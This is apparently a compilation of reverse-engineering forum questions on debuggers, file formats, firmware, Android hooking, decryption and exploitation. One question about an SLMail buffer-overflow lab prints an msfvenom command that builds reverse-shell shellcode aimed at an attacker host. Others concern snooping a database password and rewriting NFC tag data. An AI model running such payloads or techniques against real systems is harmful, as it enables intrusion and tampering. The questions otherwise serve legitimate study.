I was wondering if this was something known already, or if you had any leads that I could try to solve this issue. I have already tried installing the "ScyllaHide" plugin and ticked the option "NtContinue" but it doesn't change the behavior. Maybe there is another anti-anti-debug plugin I could use?


问:
ODBC Finding the password an application uses to access the database
I have a program which uses ODBC to access an accdb database. I can open it in access but it asks for a password.

The application accesses it through a DSN string. I have found the string using ODBC Data Source Administrator. However, I cant find the password! (even in the registry)

Is it possible to record the incoming connections to ODBC and snoop the password from the connection attempt? I have tried tracing, but I cant see it in the log.

Also would the program access the db using the connection string or does it decrypt the database first of all. I have tried using IDA to pull out the strings/ trace but cant see anything meaningful.

Is there a password cache location that I'm missing.


问:
frida hook jni not work
I want to trace Android Telegram app(open-source) to learn its protocol.

From the source code these two functions AES_set_encrypt_key and AES_ctr128_encrypt are used to do the encryption, and I can verify that these two functions are called when sending packets because the frida-trace can log and print the call:

frida-trace -U -i AES_ctr128_encrypt -i AES_set_encrypt_key org.telegram.messenger.

So I try to hook them and print the parameters:

```<code>// telegram.js

Java.perform(function () {
    console.log('tg loaded');

    Interceptor.attach(Module.findExportByName ('libcrypto.so', 'AES_set_encrypt_key'), {
        onEnter: function(args) {
            console.log('enter 1');
        },
        onLeave: function (retval) {
        }
    });
    Interceptor.attach(Module.findExportByName ('libcrypto.so', "AES_ctr128_encrypt"), {
        onEnter: function(args) {
            console.log('enter 2');
        },
        onLeave: function (retval) {
        }
    });
});
</code>```

And use this telegram.js like: frida -U -l telegram.js org.telegram.messenger

But the hook to onEnter is never called.

Title: frida hook jni not work


问:
Is there any way to get value from bytecode under JDWP without access to source?
When I debug android app through jdwp using jdb, it seems I can't get anything from the bytecode level. I know normally it's fine as long as we have the source line info and use a decompiler, but the problem is the author intentionally removed the source line information and I can only get bytecode index but not line number. I want to track the values of the local variables but problem is they are removed intentionally, and in this way I can't just print the local variables.

Is there any way that I can query through debugger to get the temp values similar to the debugging in Windows where we can get the values of registers/memory? Below is an example of the method that I runn into, there's no line info, no method signature info)

XXXClass.onMenuItemClick(), line=-1 bci=1

(stack trace)
 [1] XXXClass.onMenuItemClick (null)


问:
What is the format of this binary file?
I have a binary file that I found on a 3D printer that is used to program a dsPIC30F5011 microcontroller. It is responsible for some basic data encryption. The only problem is, I am not sure how this file is formatted.

It is raw binary, not like an Intel HEX file or anything. Here's a few sample lines:

0C4230050037600010E0801802003B21

0C424001F02C1A00370004BE6011B819

0C42506B09200982CF0200390882CFE0

0C42600441B06942520E003208003BDD

For the first line:

So the first byte (0x0C) is the length of the data.

The next two bytes (0x4230) is the address (I believe it is twice the address, I'll explain that further down)

Then is the data (length 0x0C in this case)  - 050037600010E0801802003Bh

The last two bytes are a Checksum  - 2's complement of the lower byte of the sum of all bytes (length through end of data).

The reason I believe the address listed is twice the address desired is in the Programming Manual the Intel Hex format says:

• AAAA - is a four-digit hexadecimal address
  representing the starting address of the data
  record. Format is high byte first followed by low
  byte. The address is doubled because this format
  only supports 8-bits. Divide the value by two to
  find the real device address.

In fact, this format closely matches the Intel HEX format, although it isn't in ASCII format, nor does it use valid record types.

In addition, the last few commands in the file reference address 0x0008 - 0x01FF. Dividing this by 2 gives us 0x0004 - 0x00FF, which according to the datasheet is the interrupt vector locations.

I have been poking at this for ages, and I can't seem to understand how this is actually translated to the MCU. For one thing, the addresses all increment in 16 byte increments, despite the fact that there is only 12 bytes of data in that line.

If anyone can make any sense out of this, I feel like I am at wit's end on this one.

Here's the full file (42 KB)

And here's some more hex if you don't feel like downloading the file:

```<code>0C4210889FBE8A9FBE0105780100E077
0C422004003508003C0000E0200032E3
0C4230050037600010E0801802003B21
0C424001F02C1A00370004BE6011B819
0C42506B09200982CF0200390882CFE0
0C42600441B06942520E003208003BDD
0C42708281716101648904D10884D34B
0C42808B05E80442E8F9FF3A0500371E
0C429008044489844C8B05E90442E9D1
0C42A0FBFF3A1B01070AF0A701F0A089
0C42B04F05BE4F04BE000006889FBEF4
0C42C08A9FBE8C1F783801073F013335
0C42D003866C6450E12E00326420E193
0C42E03300326150E12F00326120E118
0C42F0310032858555EB07B009002035
0C430008042005003708044489844CA0
0C43100A003106034387834B00015371
0C432081815BF8FF330203BE0800A09F
0C433008044489844CF6FF39C639DDCE
0C43408301730100321300208904D1B6
0C43500884D30998A30500320800A7D8
0C43600300A08904D10884D38B05E879
0C43708904D10884D30001EB0281D243
0C4380E4000701F0A10CF0A701F0A080
0C43901701376420E11901320801BE5A
0C43A00200BEF7FF376120E11401327B
0C43B06000B8F3FF3700002001F82780
0C43C0F0FF3704002010013703F0A2CA
0C43D0889FBE8A9FBE8C1F78F30007F8
0C43E0FA00336450E14F00326420E129
0C43F052003203826C07003B0905D02C
0C44000306D0820F540C065D02003948
0C44100200328901780306788582558D
0C442004003D0003FD8103FD8502EA5D
0C44308B8542840F7202003B6000107C
0C4440E080186011B80005EB7A28E15C
0C44500A0039060078C75DDDF707B2EE
0C44608780752D00378281710A017879
0C44706105608180D10080D38502E9E5
0C4480F9FF3B06044087844802003B23
0C4490600414E0841C0988A3070032BB
0C44A08A81718281716101648904D1FC
0C44B00884D38B05E81700370978A3B7
</code>```

Title: What is the format of this binary file?


问:
IDA fixups, why and how
I'm using IDA 7 Freeware, not Pro. I've been using IDC to re-invent the wheel somewhat, but I'm learning a ton of stuff as I go along.

I have a 16-bit MSDOS exe which I'm reversing. I stripped out the header and reloc table in my first attempt, so that all seg refs resolved correctly.

Now I've found set_fixup() and friends, and also seen doRelocs() from the (old) SDK via Google. I'm a bit puzzled by it all.

set_fixup() as per IDA help has 5 params. However set_fixup() expects 6 params in my version of IDA Freeware.

am I supposed to use set_fixup() on an entry in the exe header reloc table, or on the ea of an instruction in the program? (eg mov ax, 0x2d0e - where 0x2d0e needs to be adjusted to be 0x2d0e + 0x160 - code starts at 0x1600+10).

I can deduce from experiment set_fixup() looks like: set_fixup(targetEa, fixupTypeFlag, ???, ???, ???, displacement). Seems that p3 might be an ea, and p3 should be >p4 (otherwise nothing happens). p5 appears to have no effect!

doRelocs() - in the (ver?) dos_ovr loader - changes instruction bytes referenced by the exe header reloc table, physically changing the bytes in the code. It then also calls set_fixups(). I must be understanding fixups wrongly, or IDA fixups function differently to DOS exe relocations. Surely if you change the bytes to be relative to the start of the file ('mz'), then you no longer need to apply fixups?? They are fixed up by changing them! After all that's what DOS does when it loads the code before discarding the header.

Please help me understand IDA fixups!

I'm trying to use this IDC code:

//seg001:10 to_ea == 0x1610

//0x01610: mov ax, 0x02d0e (next: mov ds,ax)

//0x2d0e + 0x160 = 0x2e6e

set_fixup(0x1611, FIXUP_SEG16, 0x2e6e0, 0x2e6e, 0, 0) //best guess at args

Thanks in advance!

e: Partial answer from Ilfak Guilfanov (via email)

~~~~
Jul 18 (1 day ago)
to me

Thanks, we will fix this. Meanwhile pass 0 for fixupf:

void set_fixup(long ea, long type, long fixupf, long targetsel, long targetoff, long displ);

~~~~

Perhaps I'll be able to figure the rest out, but still grateful for any further help!

Title: IDA fixups, why and how


问:
(iOS lldb) Unable to debug past a splash/loading screen
I'm trying to lldb debug this certain iOS application.

Its behavior is that when I click the application, the splash/loading screen comes up, then the main activity.

However, whenever I try to debug the app via lldb, it gets stuck in the splash/loading screen. Even when I set breakpoints, it doesn't stop, but dwell in the screen.

For example, when I process connect via lldb, this shows up:

```<code>Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
    frame #0: 0x000000010496d444 dyld` dyld::findMappedRange(unsigned long)  + 32
dyld`dyld::findMappedRange:
->  0x10496d444 <+32>: cbz    x8, 0x10496d460           ; <+60>
    0x10496d448 <+36>: ldur   x13, [x12, #-0x8]
    0x10496d44c <+40>: cmp    x13, x0
    0x10496d450 <+44>: b.hi   0x10496d460               ; <+60>
    0x10496d454 <+48>: ldr    x13, [x12]
    0x10496d458 <+52>: cmp    x13, x0
    0x10496d45c <+56>: b.hi   0x10496d47c               ; <+88>
    0x10496d460 <+60>: add    x11, x11, #0x1            ; =0x1
Target 0: () stopped.

thread #1: tid = 0x1e2a0, 0x000000010496d444 'dyld`dyld::findMappedRange(unsigned long) + 32, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
</code>```

Then, I continue, but the splash/loading screen doesn't process to the next activity.

```<code>Process 2517 resuming
</code>```

So I process interrupt to stop, and lldb shows the following:

```<code>Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
    frame #0: 0x000000018348816c libsystem_kernel.dylib` mach_msg_trap  + 8
libsystem_kernel.dylib`mach_msg_trap:
->  0x18348816c <+8>: ret
libsystem_kernel.dylib'mach_msg_overwrite_trap:    0x183488170 <+0>: mov    x16, #-0x20
    0x183488174 <+4>: svc    #0x80
    0x183488178 <+8>: ret
libsystem_kernel.dylib'semaphore_signal_trap:    0x18348817c <+0>: mov    x16, #-0x21
    0x183488180 <+4>: svc    #0x80
    0x183488184 <+8>: ret
libsystem_kernel.dylib'semaphore_signal_all_trap:    0x183488188 <+0>: mov    x16, #-0x22
Target 0: () stopped.

* thread #1: tid = 0x1e2a0, 0x000000018348816c 'libsystem_kernel.dylib`mach_msg_trap + 8, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
  thread #7: tid = 0x1e646, 0x00000001834a6314 'libsystem_kernel.dylib`__semwait_signal + 8, name = 'DeadLockMonitorThread'
  thread #8: tid = 0x1e647, 0x000000018348816c 'libsystem_kernel.dylib`mach_msg_trap + 8, name = 'com.apple.uikit.eventfetch-thread'
  thread #11: tid = 0x1e667, 0x000000018348816c 'libsystem_kernel.dylib`mach_msg_trap + 8, name = 'APFileLog'
  thread #17: tid = 0x1e66d, 0x000000018348816c 'libsystem_kernel.dylib`mach_msg_trap + 8, name = 'com.apple.NSURLConnectionLoader'
  thread #18: tid = 0x1e67b, 0x000000018348816c 'libsystem_kernel.dylib`mach_msg_trap + 8, name = 'AVAudioSession Notify Thread'
  thread #19: tid = 0x1e68b, 0x00000001834a5e1c 'libsystem_kernel.dylib`__psynch_cvwait + 8
  thread #20: tid = 0x1e6ea, 0x000000018348816c 'libsystem_kernel.dylib`mach_msg_trap + 8, name = 'com.alipay.antlog'
  thread #21: tid = 0x1e70c, 0x00000001834a6a88 'libsystem_kernel.dylib`__workq_kernreturn + 8
  thread #22: tid = 0x1e719, 0x00000001834a6a88 'libsystem_kernel.dylib`__workq_kernreturn + 8
</code>```

Does anyone have any idea why it is not going past the splash/loading screen?

Thanks


问:
Radare2 - How to save/restore metadata in debug session (BPs, flag, comments..)?
How can i save/reuse/preserve Radare2 metadata (BPs, comments, flags..) of a debug session for a new debug session? I restart the debugger alot and preserving environment would be very helpful.

I start with r2 -d binary -r myenv.rr2 -i myscript.r2s, create some flags, comments and such and then exit with q. ood usually is not enough (weird errors about fds and such. I quit completely most of the time). But if i try to load my project (Po) its asks me to restart the session and then i'm in a wrong context/process or something.

```<code>[0x7f7d020fb2c0]> Po myproject
Close current session? (Y/n)
WARNING: module's base addr + delta is not a valid address
[0x7f8baef752c0]> dc
native-singlestep: No such process
Stepping failed!
</code>```


问:
Trace back Offset Function
I have 2 armv7-m (Thumb) branch instructions (in Hex) which call one function. Can you tell me how can I caculate the offset of this function, so that I can call it at other position.

Thanks!

Offset 0020922A - Hex: 07 F6 6C FE

Offset 0020941A - Hex: 07 F6 74 FD

I have figured out how to caculate it:

So we have 07 F6 6C FE(arm - little endian) -> F6 07 | FE 6C

F6 07 | FE 6C = 1111 0110 0000 0111 | 1111 1110 0110 1100

Look at 5.19 (ece.uwaterloo.ca/~ece222/ARM/ARM7-TDMI-manual-pt3.pdf) we will find how to get opcode:

The first half F6 07 = 1111 0110 0000 0111 = F000 + 607

The second half FE 6C = 1111 1110 0110 1100 = F800 + 66C

66C << 1 = 110011011000 = CD8 => offset = 607CD8

Is it correct? So we test it in: Offset 0020941A - Hex: 07 F6 74 FD

we have offset in this case is: 607CD8 - (0020941A - 0020922A) = 607AE8

new branch instruction = F000 + 607 | F800 + (AE8 >> 1)

AE8 = 101011101000 -> 10101110100 = 574
  => F6 07 FD 74 :D/

Title: Trace back Offset Function


问:
Analyzing a Revit project file
I've been messing around with Revit and trying to understand the internal data structures for its file format. I'm not particularly experienced with this type of work and the processes around reverse engineering something. I figured I would post here and see if anyone had any ideas. My goal is to be able to extract user data from a Revit file. Revit is architectural drawing program, but I know that Revit maintains some kind of event log and history, but I haven't been able to extract it from the file.

Here is what I think I know so far. Revit files are stored with the extension .rvt. The file is actually CFBF file. I wrote some code to parse the CFBF file and dump the contents. It yields a directory structure like this:

```<code>├── BasicFileInfo
├── Contents
├── Formats
│   └── Latest
├── Global
│   ├── ContentDocuments
│   ├── DocumentIncrementTable
│   ├── ElemTable
│   ├── History
│   ├── Latest
│   └── PartitionTable
├── Partitions
│   └── 6
├── ProjectInformation
├── RevitPreview4.0
└── TransmissionData
</code>```

After looking at this, it would seem that Global/History file is what I'm interested in. If you look at one of these files the header looks like this

```<code>00000000: 0100 0000 0000 0000 1f8b 0800 0000 0000  ................
00000010: 000b 84da 0934 948f ffe8 714b 4564 8994  .....4....qKEd..
00000020: c8ae fa48 ca9e b5c6 8c99 319b 91a5 2459  ...H......1...$Y
00000030: 4aa2 4264 4b84 ecfb beaf 59cb be6f d9be  J.BdK.....Y..o..
00000040: 9694 1422 b264 294b 4a28 ca16 eef3 fdfd  ...".d)KJ(......
00000050: bbe7 feae 73cf b9ce 799d 63de e7f3 7c9e  ....s...y.c...|.
00000060: 19cf 381c 9e6b 7b68 69fe cf07 85ee 7f3e  ..8..k{hi......>
00000070: dfef 2f12 e075 b385 f854 492c a399 d451  ../..u...TI,...Q
00000080: fdff 7bfc 5f2b fe9f c727 20f5 0372 a249  ..{._+...' ..r.I
00000090: c434 6209 f113 b182 f885 d840 d023 e766  .4b........@.#.f
</code>```

The data looks a bit like gibberish, but 8 bytes in, I can see 1f 8b which is is the magic number for something that is gzipped. So at this point I stripped off the first 8 bytes and un-gzipped the file. This is where I'm stuck. The files are unzipping successfully, but I can't make sense of the binary data that's being spit out.

All of the files have similar pattern. I'm posting pastes to the sample files that I have.

https://dumpz.org/bByDwdYTztbn

https://dumpz.org/cW8f7wPHDXya

https://dumpz.org/bR6Q2BQKgnCz

https://dumpz.org/aWkNMAs8ZEa3

Each of these files has some very obvious repeating structure. It makes me think it's not just gibberish, but I'm not sure what type of file format it is. The stuff I see:

Each file starts with a magic number 5d 04 01. It might be a version indicator or something

There is a 16 byte sequence that is unique to each file that repeats three times, then there is 16 bytes of null then the sequence is repeated a fourth time

The first 102 bytes of the file in every case has that same header structure

The first 860 bytes or so have alternating null "words"

Then there is a big chunk of raw data

At the end of each file there is some repeating data again

I've tried a few different tools to understand what's going on like xortool and binwalk. I haven't been able to really understand what this file is and what the header and trailer sections could mean.

I figured I would share here and see if anyone had any ideas or thoughts of things to try. Looking at the data below, I can also see that there is a section of the data at the beginning that has a number that seems to be counting up. It stands out very clearly in the Veles view.

If it helps, this is a screenshot of what the history looks like for an example Revit file. I would guess it's stored simply in the History file, but I can't really tell.

Title: Analyzing a Revit project file


Title: Interpreting clipboard data from HMI software

Body:
I'm attempting to automate tedious processes when using the EasyBuilder Pro software by Weintek, which is programming software for industrial HMIs.

Long story short, I need the ability to fill the user's clipboard with binary data based on a kind of template that they can then paste into the software.

I've managed to extract the following hex data using Nirsoft's InsideClipboard, when copying a single button with text "Auto", which is mapped to a memory address "10.00".

```<code>00000000   FF FF 3F AF 5F 0C 01 00 FF FF 56 10 0C 00 50 00    ÿÿ?¯_...ÿÿV...P.
00000010   C5 00 00 00 61 00 06 00 00 00 68 00 00 00 43 00    Å...a.....h...C.
00000020   00 00 81 00 00 00 04 00 00 00 00 00 00 00 00 00    ...............
00000030   00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00    ................
00000040   00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00    ................
00000050   02 00 00 00 09 00 4C 6F 63 61 6C 20 48 4D 49 FF    ......Local HMIÿ
00000060   00 00 0E 00 4F 4D 52 4F 4E 20 45 74 68 65 72 6E    ....OMRON Ethern
00000070   65 74 B3 01 00 01 00 FF FF 01 00 0B 00 43 50 61    et³....ÿÿ....CPa
00000080   72 74 4F 62 6A 65 63 74 1B FF FE FF 00 00 FF FE    rtObject.ÿþÿ..ÿþ
00000090   FF 0E 4F 00 4D 00 52 00 4F 00 4E 00 20 00 45 00    ÿ.O.M.R.O.N. .E.
000000A0   74 00 68 00 65 00 72 00 6E 00 65 00 74 00 FF FE    t.h.e.r.n.e.t.ÿþ
000000B0   FF 0E 4F 00 4D 00 52 00 4F 00 4E 00 20 00 45 00    ÿ.O.M.R.O.N. .E.
000000C0   74 00 68 00 65 00 72 00 6E 00 65 00 74 00 FF FE    t.h.e.r.n.e.t.ÿþ
000000D0   FF 09 4C 00 6F 00 63 00 61 00 6C 00 20 00 48 00    ÿ.L.o.c.a.l. .H.
000000E0   4D 00 49 00 E2 4F 0E A5 35 5F 58 EB AC 5E AE D0    M.I.âO.¥5_Xë¬^®Ð
000000F0   81 7D 45 F3 00 00 00 00 02 02 00 FF FE FF 05 31    }Eó.......ÿþÿ.1
00000100   00 30 00 2E 00 30 00 30 00 FF FE FF 05 31 00 30    .0...0.0.ÿþÿ.1.0
00000110   00 2E 00 30 00 30 00 FF FE FF 01 30 00 02 02 02    ...0.0.ÿþÿ.0....
00000120   01 01 01 01 00 02 00 00 00 05 00 00 00 02 00 00    ................
00000130   00 01 00 00 01 00 00 00 00 01 00 00 01 00 00 00    ................
00000140   00 00 00 00 00 FF FE FF 05 4D 00 6F 00 64 00 65    .....ÿþÿ.M.o.d.e
00000150   00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 FF    .s.............ÿ
00000160   FE FF 00 FF FE FF 00 FF FE FF 00 00 00 00 00 00    þÿ.ÿþÿ.ÿþÿ......
00000170   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
00000180   00 00 00 00 00 00 0A 00 00 00 00 00 22 00 01 01    ............"...
00000190   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
000001A0   00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00    ................
000001B0   FF FE FF 01 30 00 1B 00 00 00 00 02 00 00 00 00    ÿþÿ.0...........
000001C0   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
000001D0   00 00 00 00 00 06 00 00 00 68 00 00 00 43 00 00    .........h...C..
000001E0   00 81 00 00 00 00 E6 E6 FA 00 F0 F0 F0 00 32 CD    .....ææú.ððð.2Í
000001F0   32 00 F0 F0 F0 00 00 00 00 00 00 00 00 00 80 80    2.ððð.........€€
00000200   FF 00 00 F0 F0 F0 00 00 F0 F0 F0 00 00 00 00 00    ÿ..ððð..ððð.....
00000210   00 01 00 00 FF FE FF 04 41 00 75 00 74 00 6F 00    ....ÿþÿ.A.u.t.o.
00000220   FF FE FF 05 41 00 72 00 69 00 61 00 6C 00 0A 17    ÿþÿ.A.r.i.a.l...
00000230   00 00 00 6C 00 00 00 00 00 00 00 00 00 00 FF FE    ...l..........ÿþ
00000240   FF 04 41 00 75 00 74 00 6F 00 FF FE FF 05 41 00    ÿ.A.u.t.o.ÿþÿ.A.
00000250   72 00 69 00 61 00 6C 00 0A 17 00 00 00 6D 00 00    r.i.a.l......m..
00000260   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
00000270   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
00000280   00 00 00 00 00 00 00 00 00 00 00 00                ............
</code>```

I can obviously pick out some text strings for various bits and pieces, but the rest is fairly incomprehensible.
I'm guessing it must contain properties such as the size of the button, color, position etc.
Can anyone give me any pointers as to where I could begin properly decoding this data, in view of reconstructing it with my own parameters?


问:
Obscure router refuses to flash OpenWrt
This is a very obscure Chinese router from a brand called Wavlink. It's the Model: WN529R2/WN529R2P. It's web interface was pretty limited and wouldn't allow firmware modifications.

I found GND/Tx/Rx/Vcc pins, so I soldered to them, and got a serial console (without any password at all). I have root access and it runs OpenWrt 14.07 BARRIER BREAKER, but it is incredibly trimmed and limited. To name something, it doesn't even have opkg available, so I can't install any kind of package, being unable to customize my router.

I decided to go and flash a clean OpenWrt binary. I found it used a Mediatek MT7628NN processor. Using commands I also found the arch is ramips. So I went to the OpenWrt download page. For some reason, there was no available version of OpenWrt 14.X for the 7628 (there was for other 762X processors). I went then to the OpenWrt 17.X and 15.X download pages and found binaries for the 7628.

The web interface doesn't recognize the update binaries. So I investigated and found I could also flash the firmware using a TFTP server, by booting the router with the reset button pushed. And so I did, this is the log of the flash process:

```<code>RST has be pushed!RST has be pushed!Auto Update: tftp 192.168.9.2 update.bin!
netboot_common, argc= 3
NetTxPacket = 0x81FE6380
KSEG1ADDR(NetTxPacket) = 0xA1FE6380
NetLoop,call eth_halt !
NetLoop,call eth_init !
Trying Eth0 (10/100-M)
Waiting for RX_DMA_BUSY status Start... done

ETH_STATE_ACTIVE!!
TFTP from server 192.168.9.2; our IP address is 192.168.9.233
Filename 'update.bin'.

TIMEOUT_COUNT=10,Load address: 0x80100000
Loading: Got ARP REPLY, set server/gtwy eth addr (78:e3:b5:b7:1f:1d)
Got it
####################checksum bad
checksum bad
#############################################
###############checksum bad
##################################################
#################################################################
#################################################################
#################################################################
#################checksum bad
###########checksum bad
#####################################
#####################checksum bad
############################################
#################################################################
#################################################################
##############################
done
Bytes transferred = 3145732 (300004 hex)
NetBootFileXferSize= 00300004
</code>```

Unfortunately, it seems like it is doing nothing. After that, the router boots normally again in 14.07 as if nothing had changed. I've tried different TFTP servers and binary files just in case, like 15.X and 17.X and none of them have worked so far. I'm using, for example, the file: mt7628-squashfs-sysupgrade.bin downloaded from: https://archive.openwrt.org/chaos_calmer/15.05.1/ramips/mt7628/ which is then renamed to update.bin in my server.

EXTRA: I'm not completely sure that the flashing has done nothing, because now on boot, two versions of Uboot are loaded, but the first one seems to fail or something, I don't know:

Uboot Ralink 4.3 was the default one, but I'm not sure if Uboot 1.1.3 was there before flashing.

From there it just loads the Linux kernel and proceeds to boot.

Why isn't the firmware getting flashed? Is there any sort of protection?

Title: Obscure router refuses to flash OpenWrt


问:
Can Radare2 emulate null pointer exceptions and others?
I'm wondering if anyone has had any luck with Radare2's configuration variables, esil.exectrap, esil.iotrap, and esil.nonull while emulating?

```<code>xor eax, eax
mov eax, dword [eax] <-
</code>```

From what I can tell, if I set all of the variables to true (specifically esil.nonull), I should expect an exception in the above code and for it to stop executing, or see the eflags change right? Well that's not what happens and execution continues.

There is also the cmd.esil.trap variable, amongst a few similar ones, that allow me to execute a command when a trap happens. I've tried commands such as echo trap but again nothing happens. Am I doing something wrong or missing something here? Do I need to configure another variable to make this work? Is this only available in debug mode?


问:
Seeking front end for MinGW gdb debugger
We are unit testing with Vectorcast, which uses the MinGW tool chain on Windows.

It launches the command line gdb, but some of the newer engineers are having problems getting to grips with something without a GUI.

I am looking for a GUI for the MinGW gdb, which

runs on Windows

is free for commercial use

does not require admin rights

does not write to the registry (preferably fully portable)

does not run in the browser

The latter point rules out x64dbg and, I believe OllyDbg. What are our options? We just want to point it at an .EXE, possibly set the source code path, if not in the .EXE, visually set breakpoints, step through code, examine variables, etc.


问:
File Decryption Problems
over the past year, I provided an English patch to a community of thousands of players of a game I love and which is not available in English (just Chinese and Korean).

Sadly, besides me, other people created cheat tools for the game forcing and the developers to react by encrypting the files of the client.
Even tho I am happy they make an effort to prevent cheating, I am sad I can no longer provide the community with my English patch.

I spent the last few days trying to crack the files to be able to understand how I can decrypt them, replace the Chinese with my English content, and then encrypt it again.

However I was not lucky with this, the files are super weird.

we have tried to identify the structure and came up with

```<code>key (8byte) + filesize (4byte) + junk (0-6byte) + data
</code>```

but we are not sure about the junk part

Here's an encrypted new version and a decrypted old version of the same file.
I picked this file as it seems to not have changed between encrypted and decrypted version.

Does anyone have any tips/pointers for me?

Title: File Decryption Problems


问:
Challenges to learn jemalloc exploitation on FreeBSD
I'm studying this phrack article: http://www.phrack.org/issues/68/10.html

Very interesting but the only valid way to be confident with an exploitation technique is an hands-on.

I'm searching for some pwn challenges about jemalloc exploitation (i prefer on FreeBSD), can someone link me some binaries?


问:
Binary Analysis Tool (BAT) no longer maintained - alternatives?
I read on the BAT github page that BAT is no longer actively maintained.

Why did the project come to an end?

What alternatives are there to unpack all kinds of archives /
firmwares / binary structures?

Or do you plan to still use BAT nevertheless?


问:
Immunity error BB010002
I am trying to make this exploit work and having some difficulty.

So I skipped to a 'fixed' version of it from here and the only thing I changed was the shell code:
https://github.com/cokebottle/oscp-tools/blob/master/646-fixed.c

The program terminates showing error code In Immunity Debugger: BB010002. Even Google doesn't know what this error means. The last command causing program termination is C3, or opcode RETN, so it must have something to do with the stack. This op, that is causing the crash is part of my shell code, which I have generated as follows:

```<code>msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<PWK VM IP> LPORT=443 -b '\x00\x0a\x0d' -f c
</code>```

The SLMail is a default setup of 5.5 on a 32-bit windows 7 VM. I've been stuck here for over a week, so please do help as much as possible.

Title: Immunity error BB010002


问:
Show parameters stored in stack with __fastcall in IDA
This is an extension of my previous question. Here is a sample of assembly in x64 Windows executable using COM virtual function with __fastcall convention.

```<code>mov     [rsp+32], rdx                       ; 5th param
lea     r9, var                             ; 4th param
xor     r8d, r8d                            ; 3rd param
mov     rdx, r14                            ; 2nd param
mov     rcx, r15                            ; 1st param
mov     rax, [rax+24]                       ; 4th function pointer
call    cs:__guard_dispatch_icall_fptr      ; call dynamic dispatch
</code>```

In pseudocode, IDA shows only 4 parameters, 5th one is vanished.

IDA shows like this: (ppv + 24)(a, b, c, d);

But the real function definition will be like this: (ppv + 24)(a, b, c, d, e);

What I tried: 1. Add a header file with the correct function definition and with correct position in vtable using Ctrl+F9 key combo, 2. Change compiler calling convention to __fastcall in Options > Compiler menu, 3. Change function definition with Y key.

Question: How can I allow to show all the stack parameters in a function using IDA (or any extensions)?


问:
Missing Map from Java Native Method to C Code
When writing a C implementation for a native Java method in Android, the rule is to name the C function according to the convention "Java_com_...". But I encountered an APK in which there are no such names in the so files and yet the program runs perfectly well. Are there other ways to map a Java native declaration to some function in the so files? Is there a technique to find the implementing function? I tried JDB, but it couldn't get into native codes. GDB requires the function name in the first place, which is missing in my case.

I forgot to mention that the Java code is obfuscated.


问:
debugger trap with angr
Let's suppose this (very ugly) c code:

```<code>#include <stdio.h>
#include <string.h>
#include <signal.h>

char sav_argv[100];

void on_sigtrap(int signo)
{
    if (strcmp(sav_argv, "hello") == 0)
    {
        printf("OK!\n");
    } else {
        printf("NOK\n");
    }
}

int main(int argc, char *argv[])
{
    memset(sav_argv,100,0);
    memcpy(sav_argv,argv[1],100);
    signal(SIGTRAP,on_sigtrap);
    __asm__("int3");
    return 0;
}
</code>```

I have compiled this c program with gcc (linux 64 bits elf).

What i want to do is to solve it with an angr python script.
It does work if i remove the debuger trap but it does not work with debuger trap.

Is there a way to make angr work on this c program ?

Thanks

Title: debugger trap with angr


问:
How should I got about working out the format for this psp game?
I have been attempting to reverse engineer a format for a visual novel psp game ('Mirai Nikki RE: WRITE - 13 Ninme No Nikki Shoyuusha') and I have come to the understanding that the format works as a type of archive by looking at the boot.elf file of the game. From this decoded boot.elf file I learnt that music is stored in the format at3 (which is atrac3) and sound effects as fsb (fmod sound bank). There are multiple 'MIG' files which I believe are actually GIM files which is a format used by the PSP for images (these are likely the character portraits, backgrounds and ui). The string YKLZ is also repeated throughout the file and seems to act as a sort of file or directory end. The header T2FP also occurs.

After learning this I have hit a wall as I am unsure of how to progress in getting the files as I do not know how it is encrypted or where the files start and end. If anyone can tell me how I could go about reversing the decryption function in an emulator or can provide any help about the file it would be greatly appreciated.

Decrypted boot.elf

The game archive file

Edit: The hex code 87 4C 74 68 also occurs multiple times throughout the file.


问:
Trying to identify block of code which generates 256 bit key
I'm reversing a C++ program using IDA PRO to examine how the some data is stored, encrypted and decrypted.

I've managed to identify the data is encrypted with AES CBC 16 block and 256 bit key. I have tested this as I have found the generated key in the program and managed to decrypt the data using online tools.

The problem I have is working out how the AES 256 bit key is generated. I have identified the code but is several hundered lines long. I "think" its a cut n copy of one of the hash functions from OpenSSL as I see references to that in other areas of the code but I cant be 100% sure.

There isn't much to go on in the code except a few magic numbers like 0x2AAAAAAB and that 3 DWORDS are pushed to the stack before the sub is called.

I've downloaded the OpenSSL code but cant find anything yet. I've also used tools like Detect it Easy and a Plugin for IDA, which finds some crypto signatures which I BP, but they are never hit when stepping over the keygen function.

Can anyone recommend anything what can help which this ? My ASM skills are no where near good enough to Single Step several hundreds of instructions.

EDIT: I used the Hex Rays decomplier for the specific func and it churned out only a few lines of code !?!

I've put it on paste bin at:

https://pastebin.com/y6Zu42Ux

Can anyone explain what it does ? However I'm not even sure this is the correct code as no matter where I press F5 to generate the Pseudo Code, it gives me the same output.

EDIT: here is the paste of the full code

https://pastebin.com/x0pjyuZD


问:
Building custom image with firmware mod kit
basically I have netis WF2409E router and i want to update it with custom image so I decided to try fmk. First I added gdbserver to usr/bin and re-packt it with fmk and upload it. After finishing uploading router did not reboot or anything after reaching 100% and it stay as is. So I tried extracting original firmware again and packing it with no changes of files and after 7% I got an error Firmware upgrade fail. So how can I detect what is magic routine for building working firmware.</p>


问:
How determine correct checksum algorithm for this NFC Data?
I maae a dump of a Mifare Classic, NXP, tag.

I can read some information without a problem, but if I write data in a block, I need to terminate the block with a checksum (CRC?, one byte).

I tried with this:

https://hub.zhovner.com/tools/nfc/

http://www.sunshine2k.de/coding/javascript/crc/crc_js.html

But it didn't work.

This are block samples:

000000000000000000000000000000F5

F5000000000000000000000000000000

30000000000000000000000000000096

01E1CCE7090000000000000000000062

So, how determine the last byte (in bold)


Title: Reverse engineer CRC16

